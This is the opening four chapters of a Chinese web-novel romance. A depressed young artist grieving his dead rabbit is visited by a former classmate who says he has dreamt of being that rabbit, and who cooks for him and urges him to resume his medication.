《小兔鬼还不入我梦》
1. 第 1 章
下午两点,太阳在天空高悬,出租屋内门窗紧闭。
这一方小天地平时24小时空调供应,只为保证室温稳定、不让名叫窝窝的垂耳兔生病。
如今室温高达34℃,就连遥控器也不知所踪。
庄明越抱着一张椭圆形的绿色豆豆绒小垫子,蜷缩在一米宽的钢架床上。
空气里没有任何属于提摩西的香味,就连一丝丝进口兔粮的酸味也消散殆尽。
窝窝的头七过去了,二七也过去了。
按照网上那些“宠物离世后如何与它们沟通”的说法,头七回魂,宠物会入梦与主人告别。
庄明越从前对这类言论嗤之以鼻,从来没想到自己会有一条一条照着做的一天。
窝窝火化那天起,庄明越就在网上找人求助,被所谓的灵媒和宠物沟通师骗了几回钱,他不愤怒,也不难过,只是静下心来,一心一意地抱着窝窝生前最爱趴的小垫子,睡得昏天黑地,不分昼夜。
他忘了自己昨天有没有起过床、吃过东西、上过厕所。
但用脑子想应该是有的,不然撑不了这么久,早就去见窝窝了。
医生开的抗抑郁药和助眠药物被扔在一边,庄明越感到前所有未有的困倦,不靠任何外界助力就能很快入睡,并且怎么睡也不够。
可是,窝窝没有来。
一次都没有。
梦里时而是他退学,他人在旁边表情各异的画面,时而闪回医生心肺复苏失败,告知庄明越“兔子心脏仍然停跳,我们很遗憾”的声音。
属于他的小兔鬼不肯回梦中看他,一次也不肯。他没照顾好窝窝,窝窝才两岁就走了,如果换成其他任何人领养它,它都不至于只活到两岁。
这个念头比热浪更加炙烤着他,让他很难去考虑除了窝窝以外的其他事情。
他把脸埋进小垫子,上面最后一点属于窝窝的味道也快要闻不到了,只剩汗水和眼泪的咸味。
太阳穴生疼,胃在抽痛,四肢肌肉也发出了太长时间不动的抗议。
就在他意识又开始模糊之际——
“咚咚。”
门外有人敲门。
庄明越把垫子按在胃间,转不太动的大脑想了半天。
没有快递,没点外卖,水电费交了,也没有续订绘画杂志,房东前两天刚来收过钱,也不会是他。
“咚咚!”
“咚咚!”
“咚咚咚!”
“砰!”
庄明越把脸埋进垫子,双手捂住耳朵。
破门被人拆了都不关他事!
外面安静了几秒。就在他以为人走了的时候,一个干净悦耳的声音响起:“……开门!我是……”
庄明越:?
他猛地从床上坐起来,双手死死撑着床板,听到那个莫名熟悉的男性声线又重复了一遍——
“爹地开门,我是窝窝!”
听清名字的瞬间,庄明越的呼吸顿住很长时间,双腿像有自主意识地往门边走。
疯了,绝对是疯了!
首先,兔子不会说人话!
其次,他家窝窝是小姑娘!就算半岁就绝育了也是母兔子!
这种男声幻觉哪来的,是谁在搞无聊的恶作剧?!
庄明越去厨房拿了一把菜刀,在手里颠了颠,又放了回去。
他现在精神状态不稳定,没吃药,又没吃饭,万一手一滑真把恶作剧的人扎了……
不敢想,为了他家兔子,他还是得积点德。
他赤脚踩在地板上,一步步挪到门边。
心跳如擂,但这两天头一次不是因为哀伤,而是宠物被冒名顶替的怒火。
透过猫眼往外看,门外站着一个人。
一个他绝对没想到会出现在这里的人。
费臻。
庄明越大二那年退了学,到如今已过去两年,很多事情就像上辈子一样记不清楚,但还记得讨人厌的大学同学有两个。
一个是死对头一号,富二代室友陈子深,艺术系的败笔,家里人花大钱砸进来,不学无术还特别针对家境普通的同学,庄明越首当其冲。
还有一个就是费臻,死对头二号,陈子深的“狗腿子”,艺术学院曾经的风云人物之一,心思从来不在专业课上,玩摇滚玩得教授头疼、却总能拿出惊艳的画作,各种风格的作品都能轻松驾驭
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。
又生得一副好皮囊,剑眉星目,长发如墨,不说在学院,就是放眼整个大学,都是追求者众多。
但在庄明越看来,费臻还没他家窝窝屁股上的一根毛好看,连捡兔子粑粑都不配。
门外的费臻穿着件亚麻色的单衣,头发有点乱,脸上没什么表情,但眼神直勾勾地盯着猫眼的位置,仿佛知道庄明越就在猫眼后面看。
最奇怪的是他的姿势,微微歪着头,一只手还抬起来,似乎想再敲,又停住了。
窝窝生前牙齿一直有点问题,那也是最后的致命病因,它会为了缓解疼痛略微歪头。
费臻此刻的模样映在庄明越眼中,竟和窝窝有三分相像。
“庄明越,我听见你在。”
庄明越的怒火“腾”地一下又烧起来了,偏头痛和胃痛同时加剧,不得已一手按着太阳穴,一手按着胃。
“滚!”庄明越想都没想,对着破门的猫眼低吼,声音沙哑得厉害,“费臻你有病是不是?立刻给我滚!”
门外安静了一瞬,也只有一瞬。
然后,费臻的声音又响起来。
他总算没再说着“爹地”“我是窝窝”之类的鬼话,却多了点急切:“庄明越,你开下门,我感觉有点不对劲。”
“你不对劲关我屁事!滚远点!”庄明越背靠着门板滑坐下来,双手捂住耳朵,全身都疼,还很委屈。
想要的求不得,不想要的扎堆出现。
水电费单子,给窝窝住院刷的花呗通知单,房租的欠费,还有现在这个——
窝窝一次都没来过他梦里,费臻却来了,什么道理?
费臻隔着门问:“庄明越?”
庄明越把喉咙间再次涌起的“滚”压下去,开始思考要不要再从厨房把刀拿出来,和费臻这个虚有其表的不长眼的家伙同归于尽。
“庄明越!我梦见我成了你的兔子!梦见好久了!好多次!”费臻的声音提高了一些,带着破罐子破摔的意味,“一只白色的垂耳兔,鼻子上的毛是浅灰色的!眼睛看不见,耳朵也听不太清,只有嗅觉灵敏!每天睡在绿色豆豆绒小垫子上,吃提摩西和澳麦!你叫我‘窝窝’!”
2. 第 2 章
庄明越的呼吸顿住了。
没错,他的兔子最爱睡绿色豆豆绒垫子。
窝窝从很小的时候领养过来就是眼盲耳聋,但不影响正常进食。
这些费臻怎么会知道?他从哪里搞到的消息?
除了医院和一些关系很好的朋友,他从来不对人说起,只是在匿名小号上发一些兔子日常。
费臻为什么会专门找他说这个?
大家都是成年人,有自己的工作和生活要忙,今天也不是四月一日,据他所知,费臻搞乐队搞得如火如荼,如日中天,不至于费尽心机,和他开这么一个恶劣的玩笑。
他要是把费臻的胡言乱语挂到网上,那对方可是全方位社死。
就在庄明越犹豫不决时,费臻的声音再度响起:“外面热,能不能让我进去说话?保证不乱碰家里的东西。”
庄明越按了按太阳穴。
和费臻说了两句话,他的疼痛莫名得到了缓解,就像过去每次发病时,摸一摸窝窝的小脑袋,听它吃草的声音,会好上很多。
窝窝是他的宠物,他的家人,也是他唯一的解药。
会不会,外面会不会是披着费臻皮的窝窝?或许费臻已经死了,窝窝借尸还魂回来了?
那可太好了,但不太可能吧?
抱着荒谬的想法,庄明越挣扎着站了起来。
费臻虽然表面上没有得罪过他,但能和陈子深混在一起的必然不是什么好人。万一真的是个整蛊恶作剧……
如果真的是那样,再冲到厨房拿刀不迟。
庄明越深吸一口气,拧动了门把手。
老旧的门吱呀一声开了条缝,门外阳光明媚,费臻同阳光一起挤进门。
紧接着,他淡漠的表情逐渐消失,眉头越蹙越紧。
“怎么比外面还热,你没开空调?”
“嫌热还进来?就站在这里说。”
“你不怕得热射病?”
“你帮我交电费?”
“行啊,”费臻一口答应,掏出手机点开微信,速度很快地操作了一下。
庄明越的眉头也皱起来:“你在干什么?”
“给你转电费。”费臻的唇角露出细小的弧度,像是满意庄明越时隔两年没有把他拉黑,回答了庄明越的问题,“二百,够了吗?别告诉我还有欠费。”
然后他得知了庄明越没欠费,但空调遥控器和手机一起失踪的消息。
费臻翻箱倒柜找了半天,床底都去过了,还给庄明越捡了两颗风干兔子粑粑和一撮白毛,最后总算在床和白墙的缝隙间掏出了要用的东西。
凉风吹起,费臻松了口气,抽了张抽纸擦汗,见庄明越面露肉疼,无语地问:“怎么不抠死你算了。”
庄明越坐着床,半靠在墙边。空调的风声让他好像重新回到了窝窝还活着的时候,体感舒适,精神上也舒适,不觉得到了片刻放松。
他眯了眯眼,对上费臻的眼睛。
那双平时总带着点冷淡的眼睛里,此刻翻涌着安适和困惑,还有一丝庄明越几乎以为自己看错了的依赖。
费臻就差张口再叫他一声爹地了,恐怖如斯。
庄明越可不想有这样的好大儿。
两人对视了几秒,空气再度凝固。
费臻的目光越过庄明越落在屋内,眼神瞬间变得有些恍惚:“这里真的是……”
庄明越清清嗓问:“放你进来了,除了吹空调还有别的事吗?没事快点回自己家。”
费臻的目光落回到庄明越脸上,他看向庄明越手里紧紧攥着的绿色小绒垫,喉头滚动了一下。
庄明越想把垫子藏到身后,但动作做到一半又僵住,他又没做错什么。
他盯着费臻看,试图从他脸上找出任何戏谑或伪装的痕迹。
完全没有。
费臻的眼神中反而对垫子带了独占欲,这当然不会是因为垫子里藏了什么宝贵的东西,反倒像这东西他用了很久,被庄明越抢了过去。
费臻叹息一声,摊开手掌:“垃圾桶在哪?”
“你别乱扔。”庄明越起身,一只手更加把垫子紧紧抱在怀里,另一只从费臻掌心捏起那两颗圆滚滚的黄金粑粑和一缕毛,放进窝窝的骨灰盒旁边的小盒子里。
“这些你都留着。”费臻这么说道,看向角落空荡荡的兔笼以及四周的兔子用品。
墙上挂着几张庄明越给窝窝画的素描和水彩画,精心地用雕花实木相框裱了起来。
白色铁皮小推车上还有空了的兔粮袋子和保健品瓶子。
每看到一样东西,他的眼神就闪烁一下,嘴唇抿紧。
庄明越抱着垫子,靠在墙上,冷眼看着他,心脏却跳得厉害。
“窝窝的这些事,是谁告诉你的?”
费臻转过头,看向庄明越。他的脸色有些苍白,眼下有淡淡的青黑,似乎也没睡好。他张了张嘴,似乎不知道从何说起,最后烦躁地抓了抓头发,隐去了一部分的实情。
“从两年前,你退学那几天起,我就开始做怪梦。断断续续的,一开始很模糊,后来越来越清楚。梦里我就是一只兔子,住在你家里。”
他指了指兔笼,又指了指庄明越怀里的垫子:“睡各种圆垫子,吃最贵的牧草。”
又对进口兔粮品牌如数家珍:“威霸、爱宝、布格斯,只要是对兔子好的,你都愿意给我试试。”
费臻的目光落到庄明越脸上,顿了顿,声音低了下去,“被你抱着,喂草,梳毛,你还买了好几把一两百的梳子,嫌它们智商税,扯到兔毛,最后又用回那把十块钱的硅胶梳。”
“有时候,还能听到你哭。”
庄明越的身体猛地晃了一下。
费臻移开视线,有些难以启齿,但还是继续说了下去:“梦里的感觉很具体。看不见,白茫茫的一片还带点绿。也听不清,耳朵还被糊住了。”
听到带点绿,庄明越没有笑。兔子的视觉主要是蓝绿色,不养兔的人不太了解这点,可以说费臻是做了功课,有备而来。
庄明越没有打断,静静地听费臻说话,心却沉到了底。
费臻不知他心里想什么,思考了一会,接着说:“相对的,嗅觉特别灵,能闻出不同的草和兔粮,闻出你手上偶尔残留的颜料和墨水味,闻出你身上的味道。”
他快速瞥了庄明越一眼,“还有,快死的时候,好像突然能听见一点了,我听见你喊‘窝窝’,哭得很惨,然后就醒了。”
费臻说完,自己也觉得荒谬绝伦。他居然对着死对头庄明越,喊出了那两个字。
庄明越久久没有说话。他低着头,看着怀里的小垫子,手指无意识地摩挲着豆豆绒。费臻的话信息量太大,太离奇,像一颗炸雷在他本就混乱的脑海里爆开。
窝窝。
费臻。
梦。
难道这两年里,每次他抱着窝窝,轻声细语,倾诉那些无处安放的痛苦和偶尔的欢欣时,听众除了这只孱弱的小兔子,还有费臻的意识?这个高高在上的,在他退学时冷眼旁观的人?
这算什么?荒诞的沉浸式变兔体验?
“所以,”庄明越终于开口,声音干涩,“这两年,你一直在‘梦游’当我的兔子?”
“可以这么理解。” 费臻顿了顿,看向庄明越,“你过得不好。”
庄明越猛地抬起头,压抑着被戳穿的难堪:“就算你说的是真的,那又怎样?你现在跑来是什么意思?可怜我?还是觉得这很有趣?”
“我……” 费臻语塞。
是啊,他跑来是为什么?一开始只是路过,想看看老同学退学后过得怎么样,站在这道门前,听门里穿来悉悉索索的声音,像是把菜刀抽出来又放回去,突然又有点放心不下。
看到庄明越此刻的样子,他那些习惯性的冷言冷语却一句也说不出口。
梦里那种依赖和亲近的感觉太真实了,真实到此刻面对庄明越的愤怒,他下意识感到了难过,像做错了事,惹主人生气的小动物。
“我没想可怜你,也没觉得有趣。” 费臻烦躁地抓了下头发,“我知道你不想看到我,但……” 他犹豫了一下,还是说了出来,“窝窝最后的时候,听得比以前任何时候都久,都清楚。它知道你爱它,不想它走。”
庄明越的心理防线,在这一句话面前,猝然崩塌。
他背过身去,肩膀微微颤抖,手里的小垫子被攥得变了形。眼泪无声地滴落,浅绿色的绒毛变成了深绿。
费臻看着他颤抖的背影,那句“别哭了”在喉咙里滚了几滚,终究没能说出口。
他有些无措地站在原地,梦里的习惯让他几乎想走过去,像蹭蹭主人的
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手、舔舔对方的鼻尖那样做点什么。
但他并不是变态,现实的身份和理智死死拉住了他。
空气中只剩下压抑的抽泣声。
半晌,庄明越深吸一口气,任眼泪在脸上流淌,还是背对着费臻,但指了指门的方向:“说完了?说完了就出去。不管你是真的还是假的,是疯了还是耍我,我现在不想看见你。”
费臻皱紧眉:“庄明越,我们谈谈,你现在这个样子不行。”
“谈什么?”庄明越打断他,声音嘶哑,“谈谈你怎么在梦里当了我的兔子?还是谈谈我怎么傻到对着兔子说了那么多废话结果全被你听去了?”
“我不是这个意思。”
“那是什么意思?费臻,耍我很好玩吗?如果你说的都是真的,窝窝生病的时候你在哪里?窝窝快死的时候你怎么不想着过来看看?请你离开,现在马上从我家滚出去!”
费臻盯着庄明越的后脑勺,脸色沉了沉。平时如果有人敢这么对他说话,他早就抄起乐队鼓手的鼓棒痛击对方的狗头。
但此刻,听到庄明越泣不成声,他发现自己竟无法发作。
“抱歉,今天打扰了,你就当我没有来过,什么也没说。”
费臻深深看了一圈四周,转身拉开门,走了出去。
门被轻轻关上,隔绝了两个世界。
庄明越滑坐在床边的地板上,把脸深深埋进膝盖。
怀里的小垫子似乎还残留着一丝费臻进来后带来的属于外界的气息。
窝窝,你为什么还不回梦里看看我?
我只想要小兔子,为什么来的会是阴险狡诈的人类?
门外,走廊一片寂静,和外面嘈杂的蝉鸣形成了鲜明的对比。
庄明越家里的各种牧草的味道已经散去,兔粮和零食罐子也空了,只剩庄明越本人的味道,廉价的玫瑰香洗衣液和不知名的洗发水味、淡淡的汗味混在一起,顽固地萦绕在费臻身前。
一个半路出走的老同学,一个和他一样年纪的男人,一个刚经历丧“子”之痛的死对头。
怎么也轮不到他来同情。
费臻一拳打在墙上,太阳穴突突直跳,大学时的回忆涌上心头。
他也只和庄明越做过短短两年同学,庄明越大二就退学了,成为他们学校一个不可思议的传说。
庄明越过去是他们班成绩最好的,专业课数一数二,对绘画有极大的天赋和热情。
他们系里多得是靠钞能力混进来又继续鬼混只求一证毕业,但像庄明越这种有真本事的,未经资本包装的天然璞玉,却实在难得。
二人拥有类似的天赋,也是同样的心高气傲,王不见王。但费臻未来重心不在绘画上,也不想和庄明越起争执,翘课搞音乐是常有的事。
费臻一直以为庄明越对他的敌意来源是他抢了他几次第一,后来又发现庄明越对成绩并不那么看重,完全不爱装逼,最后退学也办得静悄悄。
庄明越讨厌他,单纯是因为他和陈子深走在一起。
殊不知其实费臻对陈子深的讨厌并不比庄明越少。
费陈两家在业界常有合作,你中有我,我中有你,轮到他们这些小辈,一些虚与委蛇的关系,费臻也早已厌倦。
大学毕业后,他忙不迭跟着组了五六年的乐队一起跑路,不管家里如何让他这个独子回去继承家业,把巧克力工厂经营壮大,打响国际知名度。
他只想在有限的生命中,写更多的歌,经由自己这个媒介唱出来,给更多的人听。
费臻活了二十多年,坚信唯物主义,打架逃课玩摇滚搞艺术,不靠家里就能牛逼地活下去还混得不错,自认也算见过点世面,从来没想过自己会和第一视角跨物种体验扯上关系。
他和庄明越关系恶劣,梦到对方本身就够离谱,还一而再再而三地梦到变成对方的宠物,一只香香软软的兔子?这简直就是他摇滚人生的一大污点。
确实见了鬼,见了小兔鬼。
费臻定了定神,转身准备下楼,离开这个小兔鬼指引他前来的地方。
刚迈下两级步梯台阶,就听到门内响起极其沉闷的“咚”的一声,像是重物倒地。
费臻的脚步猛地顿住。
费臻面色微沉,转身又冲回了那扇紧闭的门前。
“庄明越!开门!”
3. 第 3 章
“庄明越!”费臻用力拍门,“庄明越你开门!你没事吧?”
无人回答。
“庄明越!别装死!开门!”拍门声更重,在楼道里回荡。
门内依旧寂静。
倒是庄明越的对门开了门,一个长得挺摇滚的单眼皮小伙子,指着费臻嚷嚷:“有没有素质,大中午的吵人睡……啊啊啊罗谢?!我睡迷糊了?能能能给我个签名吗?”
费臻回了句“等会”,继续拍门。
“罗老师,罗哥,我真的特崇拜您,您进来看看,我家里都是您的——”
费臻蹙眉,停下手问:“你有他家钥匙吗?”
“啊?我怎么会有?您来找庄老师的啊,我已经一星期没见到他出门了!”
正在这时,门锁“咔哒”一声,开了一条缝。
对门邻居见费臻终于敲开了门,连忙识相地关上自己家门,非礼勿视,非礼勿听。
庄明越也怕被人听了不该听的,眼神警惕,低声问费臻:“你又回来干什么?”
他的脸比刚才更加苍白,额头上还有一层细密的冷汗,这回知道穿好鞋开门,只是左脚穿在右脚,右脚穿在左脚。
费臻有点想笑。
艺术系年级第一的大学霸,还有公认的系草,把自己折腾成这样。还好登门的是他,换个迷妹迷弟,恐怕要心碎一地。
按理说,庄明越的长相非常周正。眉骨清晰,鼻梁挺直,三庭五眼,标准比例,下颌线干净利落。
费臻记得,庄明越平日里不笑的时候,神情里有一种天然的沉静与疏离,眉眼间的分寸感让他不怒自威。
而陈子深第一次把庄明越认成有钱人家的少爷也是因为这点,还想和庄明越攀个交情,直到后面觉得庄明越骗了他,才一口一个穷鬼装逼犯。
眼下,庄明越的脸色实在苍白,整个人也瘦得像能被风刮走,上好的玉石不只是磕了缺口,更是有了贯穿周身的裂纹。
费臻的目光迅速扫过庄明越全身,还好没看到明显外伤,但状态极差。
他不由分说,一把推开门。
庄明越被带得踉跄了一下,费臻下意识伸手扶住他的腰。他没看错,庄明越瘦得惊人,隔着薄薄的居家T恤,能清晰地摸到骨头的形状。
庄明越像被烫到一样猛地甩开费臻的手,自己却因为用力过猛眼前发黑,直接跪了下去,膝盖快要磕在地上,费臻连忙像提垃圾袋似的拎住庄明越的T恤后领,一把把人拎了起来。
“何必行大礼?”
“你力气还挺大。”庄明越诧异地看了费臻一眼,淡淡道,“谢了。”
“是你太瘦。”
“哦,是吗。”
费臻收回手,眉头皱得死紧。他越过庄明越,看向正对着门的开放式厨房。
刚才没仔细看,厨房角落里堆着没来得及扔的废画稿,洗碗池里一堆颜料碟,就是没有饭碗和厨余垃圾。
书桌上也只有画材,还有费臻刚才从缝里捞出来的手机,桌旁倒着一把木椅。
费臻把椅子扶起来,边问:“你差点饿晕倒?”
“不饿。”
“上一餐什么时候吃的?你邻居说你一星期没出来,你没点外卖?”
“不关你事。”庄明越哑声道,试图站直身体,显示自己没事,但双腿发软。
“喝水呢?”
庄明越打断了费臻:“你走不走?”
费臻啧了一声,今年份的好脾气全在一天内用完。
他平时从不对人这样嘘寒问暖,都是别人围着他转,什么时候受过这种气?
额角青筋跳了跳,费臻忍下怼回去的冲动。他不断告诉自己,眼前这个人现在是个情绪崩溃、可能随时会倒下的病人,不能跟病人一般见识。
他做了个深呼吸,决定换个方式:“我当然会走。”
庄明越闻言,舒了口气,靠着床坐下了。
谁知费臻一屁股坐在他身旁,用手腕上的黑色皮筋开始绑头发。
庄明越呼吸一窒:“你干嘛?”
“又问我干嘛,坐你床上我能干嘛。”费臻笑了一声,垂下头看庄明越,“我大老远跑来,告诉你这么一件邪门事,刺激到你,是我不对。但我现在看你好像要挂了,打个120不过分吧?免得你真死在这儿,我成最后联系人,麻烦。”
庄明越很久没和人凑得这么近,好不容易集中注意力,听到了这样一番说辞。
他知道费臻说话向来难听,但此刻听来尤其刺耳。可他更怕费臻真打电话,费钱不说,他也不想被更多人看到自己现在这个样子。
“我没事。”他咬着牙,从牙缝里挤出几个字,“不用你操心。”
“证明给我看。”费臻垂下头,点了个外卖,“离你家最近的面包店才五十米,我叫了加急,外卖小哥三分钟就能飞过来。等面包到了,你吃掉,我再走。”
庄明越不可思议地盯着他。
“这么看我干什么?很感动?”
“感动你个……”庄明越咬了咬牙,只觉得脑子要烧起来了,“你凭什么控制我?你以为你是谁?给我买两个面包,编一套说辞,我就会相信你说的话?你为什么还赖在这里不走?你是不是觉得这样特别能显示你的优越感?因为你是正常人,你不会为了宠物去世就吃不下饭,你不会连学都上不下去,你不会活得像个废物,离了药就想死!”
压抑了太久的话冲口而出,庄明越知道自己现在的样子很难看,但他控制不住自己说话,控制不住自己流泪和在这样一个没有交情的人面前崩溃。
费臻的出现,那些离奇的描述,像咖啡杯里的搅拌勺,搅动了他不愿意提起的情绪。
但没有预想中的反唇相讥,没有嘲讽和厌恶。
费臻沉默片刻,只简单说:“我从来没有这么想你,你也不要这样想自己。”
说完,看了一眼手机。
小哥不知道什么原因没拿到货,和面包店主吵起来了,面包的订单被取消,万幸庄明越也不想吃面包。
“借你家厨房一用。”
费臻径直走向厨房,无视了庄明越嘴上的强烈拒绝。
他打开橱柜看了看,在一个角落里找到一袋未开封的临期挂面,又翻了翻,找出两个鸡蛋和一小把蔫了的油麦菜,在冰箱零度保鲜抽屉里,上市日期显示半个月前,估计是窝窝去世前那阵,庄明越才买的,可惜兔子没吃到。
水槽里的颜料盘被他三两下洗干净,整整齐齐地堆在旁边的沥水篮里。
庄明越愣在原地,看着费臻熟练地洗菜、开火、煎蛋、放面,动作行云流水,甚至带着点随性的人夫感。
见鬼了。
“你竟然会做饭?”
“为什么说竟然?”费臻笑了两声,“觉得我和陈子深那个铁废物一样?庄明越,那玩意都不觉得自己废物,你更担不上这两个字。”
“我以为你们两个是……”庄明越想了一下措辞,把狗腿子咽了下去,“好朋友。”
“谁跟他好朋友,他那种人只配和狗屎做朋友。”费臻头也不回,“你别站起来,靠着床节省体力,马上好。”
庄明越听费臻讲了两句陈子深的坏话,心里意外的舒服了,虽然费臻也有可能只是在骗他,但他的警惕心松懈了一点。
身体和精神的双重疲惫席卷而来,他索性半躺下来,看着费臻在厨房那点狭窄空间里忙碌的背影。
这一幕荒诞得不真实。他的死对头,正在他家厨房,给他做饭?因为梦到成了他的兔子?
面条的香气渐渐飘出来,混合着香油和酱油的味道,简单却温暖。庄明越已经记不清自己多久没正经吃过一顿热乎饭了。
窝窝生病后期,他整天泡在异宠医院住院部,在那里接单画画,凑刷爆花呗后的医药费,回家也只是胡乱塞点泡面,直到窝窝走的那天,他吃掉了最后一碗飞碟炒面,后来就只有饿到胃痛得实在受不了,才会爬起来吃一点乱七八糟的东西。
闻着鸡蛋和油麦菜的香味,庄明越的胃又开始作痛。
很快,费臻端着一大碗热气腾腾的面走了出来,放在床不远处的书桌上。面煮得恰到好处,荷包蛋基本是正圆形,除了油麦菜有些干巴,堪称大师级别的基础料理,放在外面起码卖30一碗。
“吃。”费臻把筷子递给庄明越,又坐到他身旁。
庄明越看着那碗面,喉咙发紧。理智告诉他应该把这碗面扣在费臻头上,然后让他滚。
但是好饿,想吃。
“要我喂你?”费臻挑眉,“行。”
生怕费臻真的喂自己吃面,庄明越连忙走到书桌前坐下,低头吃面。
果然味道和卖相一样好,压抑已久的食欲让一碗面勾了回来。
庄明越不知费臻是何方神圣,这个人但凡想做的事都能轻易做到,只看他愿不愿意。
费臻就坐在旁边的床上看着,没说话。屋里只剩下庄明越吃面的轻微声响。
一碗面很快见了底,连汤都喝得干干净净。庄明越放下碗,脸上因为进食有了血色。
“药呢?”费臻又问。
“什么药?”庄明越反问。
“你自己刚刚说的。”
“你说等我吃完你就走,你该走了。”
“吃药也算吃完的一环。”
费臻起身,目光丈量屋子的每一个角落。
房间不大,他很快在床头柜抽屉里找到了几个空盒子和长长的说明书,还有医生开的处方单。万幸庄明越没有把单子扔了,费臻可以直观地了解到他的病情。
他拿起处方单看了看,中度抑郁,伴强迫焦虑,万幸没有躁狂。
“停了多久?”
“……”
“庄明越,”费臻的声音沉了下来,“窝窝不会想看到你这样。”
庄明越听到这句话,眼眶瞬间红了:“你又知道什么!已经过去了半个月,它一次都没有让我梦到过,它就是不想要我了,它怪我没有养好它,它还想活下去的,都是我的错!它就是不想看到我!你明明什么也不知道!”
“我知道。”费臻声音不高,但沉稳笃定,“我知道它喜欢被挠下巴右侧,知道它听到你拆草袋包装的声音会特别兴
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奋,哪怕听不清,但它闻到味了。知道它最后那几天,明明很难受,但每次你靠近住院部的笼子,它还是会努力凑过来,想蹭蹭你的手。”
庄明越的呼吸停滞了。
这些细节太私密了。挠下巴右侧是窝窝的小癖好,因为左边的牙不好,拆包装的声音它确实有反应,它就是只很馋的小猪兔,还有最后时刻……
庄明越泄气地盯着费臻,第一次自发地想把人和兔的样貌重合在一起。
可还是不对劲。
费臻看着他的眼睛,继续说:“我还知道,平时你偷偷哭的时候,怕吵到它,会把它的小垫子抱在怀里,把脸埋进去。你接到难缠客户的电话,憋着火气,挂掉后会对它小声抱怨,说‘还是我们窝窝最好’。你画画不顺,撕了画纸,会抱着它坐在窗边发呆,一坐就是一下午。”
庄明越撑着床,边听边低下头,双肩颤抖起来。
“所以,我知道它对你有多重要。”费臻的声音放缓了一些,“正因如此,我才说,它不会想看到你这样。它努力地想活下来,多陪陪你,不是想看你跟着它一起垮掉。庄明越,它不会希望你追随它离开这个世界的。我说过了吧,因为它爱你。”
庄明越的眼泪像断了线的珍珠,噼噼啪啪砸在绷紧的手背上。
费臻不再说话,只是坐在那里,安静地等待着。他看着庄明越颤抖的肩膀,听着那压抑的哭声。
不知道过了多久,哭声渐渐低了下去,变成断断续续的抽噎。庄明越似乎耗尽了所有力气,瘫坐在椅子上,眼神空洞地望着天花板。
费臻站起身,去厨房倒了杯煮面时烧的水,放温了正好能喝。
“补充水分。”费臻把水放在庄明越手边,顺手拿起那张处方单。
“明天,”他开口,语气不容置疑,“去把药配回来。按时吃。”
庄明越没反应。
“如果你不去,”费臻表情冷酷,声音却放得轻缓,“我就每天来敲门,直到你开门,就像今天一样。”
庄明越终于转动眼珠,看向他。
“为什么?”他哑声问,“如果你是来找我说那些梦的,我什么也帮不了你,你又何必浪费你的时间来替我做事?”
“觉得浪费时间,我就不会折回来。”费臻食指点点处方单,又看了一眼窝窝空荡荡的笼子,“梦就梦吧,梦到那些也有好处,至少被我抓到你没有老实吃药。庄明越,我们以前一起上过学,我知道,你那个时候虽然脾气也不怎么样,但至少经常看到你笑,今天一次都没看到。我只是希望,你能像重视你的兔子一样,重视自己的健康。”
庄明越低低地压着声音说:“可是窝窝已经不在了。”
“但是其他很多人还在。”
“谁?”
“在这个世界上,大家的命运休戚相关。你可能觉得自己怎么样都无所谓了,但那只是想法,不是事实。你要是出了什么事,很多人会难受。你的朋友会难受,喜欢你的画的人会难受,被你摸过夸奖过的小动物会难受。”
费臻越说越觉得难以启齿,但必须把话说清楚,“我也会难受,无论你相信与否。所以。”
他放下医师处方,食指又点点庄明越的额头,“你就当是帮帮我,帮帮窝窝,三餐规律,作息固定。”
“就算你这么说……”
“慢慢来就好了。你好好活着,才有可能梦到窝窝,不是吗?”
费臻去收拾好碗筷,把散落的画材收拾了,环视四周,没有什么需要他做的事,只是房间一隅还有个要他担心的人。
继重新去开药吃这一点之后,费臻留给庄明越第二个任务:“你抓着的垫子该洗了。脏了,窝窝不喜欢。”
说完,他和庄明越道别,转身朝门口走去。
手搭上门把手时,他停顿了一下,没有回头。
“还有,”他的声音比刚才低了些,有些别扭,“那声‘爹地’,是我脑子抽了,不要对任何人提起。”
他拉开门,身影迅速消失在门外,还顺手带上了门。力度控制得挺好,没发出太大声音。
庄明越独自坐在逐渐冷却下来的屋子里,面前只剩一杯温水。
身畔除了残留的面条香气,还萦绕着一丝费臻带来的气息。
也是玫瑰味,但和便宜的雪山玫瑰洗衣液不同,似乎是某款奢侈品香水的尾调,庄明越不讨厌。
庄明越慢慢伸出手,碰了碰那杯温水,半晌端起杯子,一饮而尽。
费臻刚一出门,庄明越的对门就忙不迭地递上纸笔,想要十份签名。
不是,哥们,黄牛也没有你贪。
费臻问他:“你听没听过渔夫和金鱼的故事?”
对门挠着头笑:“这不是太喜欢咱们乐队了嘛,《夏日拯救》我天天听!对了,罗哥您和庄老师是朋友吧?庄老师朋友很少,您多来,多来,最好把乐队的三位一起带过来!”
费臻在黑胶唱片包装上签下“视角解构-Rocher”,只签了一张,心里想着庄明越。
也不知道庄明越会不会听他的话,乖乖配药,好好吃饭。
4. 第 4 章
第二天,庄明越醒得很早。
他慢吞吞地爬起来,思考了很久,昨天到底发生了什么。
费臻来过,说梦见变成窝窝好多次,给他煮了碗面,要他配药吃。
“费臻。”
庄明越平时都是一睁眼就喊“窝窝”,喊出截然不同的两个字以后愣住了。
算了,费臻爱怎么样就怎么样,就算昨天善心发作,今天也不会再来。
两个世界的人,怎么可能一而再再而三扯上关系?
昨晚庄明越给手机充了电,把费臻转的两百退了回去,趁着费臻还没回复,赶紧把人拉黑了,倒头就睡到现在。
费臻煮的那碗面早就消化完了,庄明越强迫自己走向厨房,掏了掏柜子,意料之中只有调味料和空气。
打开闪购看便宜外卖,又看了眼余额和欠款,算了,不吃了,晚上再点,暂时还饿不死。
夏天的天空亮得很早,庄明越不习惯刺眼的阳光,闭着窗帘,摸黑到厨房。
趁着还是谷电电费,庄明越烧了壶半价开水,掺在昨天费臻烧的冷水里,慢慢地喝。
目光又落到费臻洗干净的白色颜料碟子上,叠得整整齐齐,顶上凹个造型,像艺术家兼收纳大师的作品。
像是好男人做派。
见鬼的好男人。
就在这时——
“咚咚。”
庄明越看了眼墙上的时钟,确认了一下,才早上七点。
“咚咚咚。” 敲门声又响,还有费臻说话的声音,“庄明越,你起床了吗?”
庄明越无奈:“我不在家。”
费臻:“那现在说话的人是谁?”
庄明越胡诌:“是蟑螂。”
门外的费臻无语:“状态不错啊,都会开玩笑了。”
庄明越进退两难。
“开门,我来都来了。这楼隔音不好,你对门邻居好像也起床了。等他开门之后,我和他聊聊你昨天哭得稀里哗啦的事?”
庄明越:?
“说得出做得到。”费臻语气平淡,却充满了该死的说服力。
庄明越知道,费臻这家伙总是从自己的意志出发,他想干什么就一定干得出来。
他只能开门。
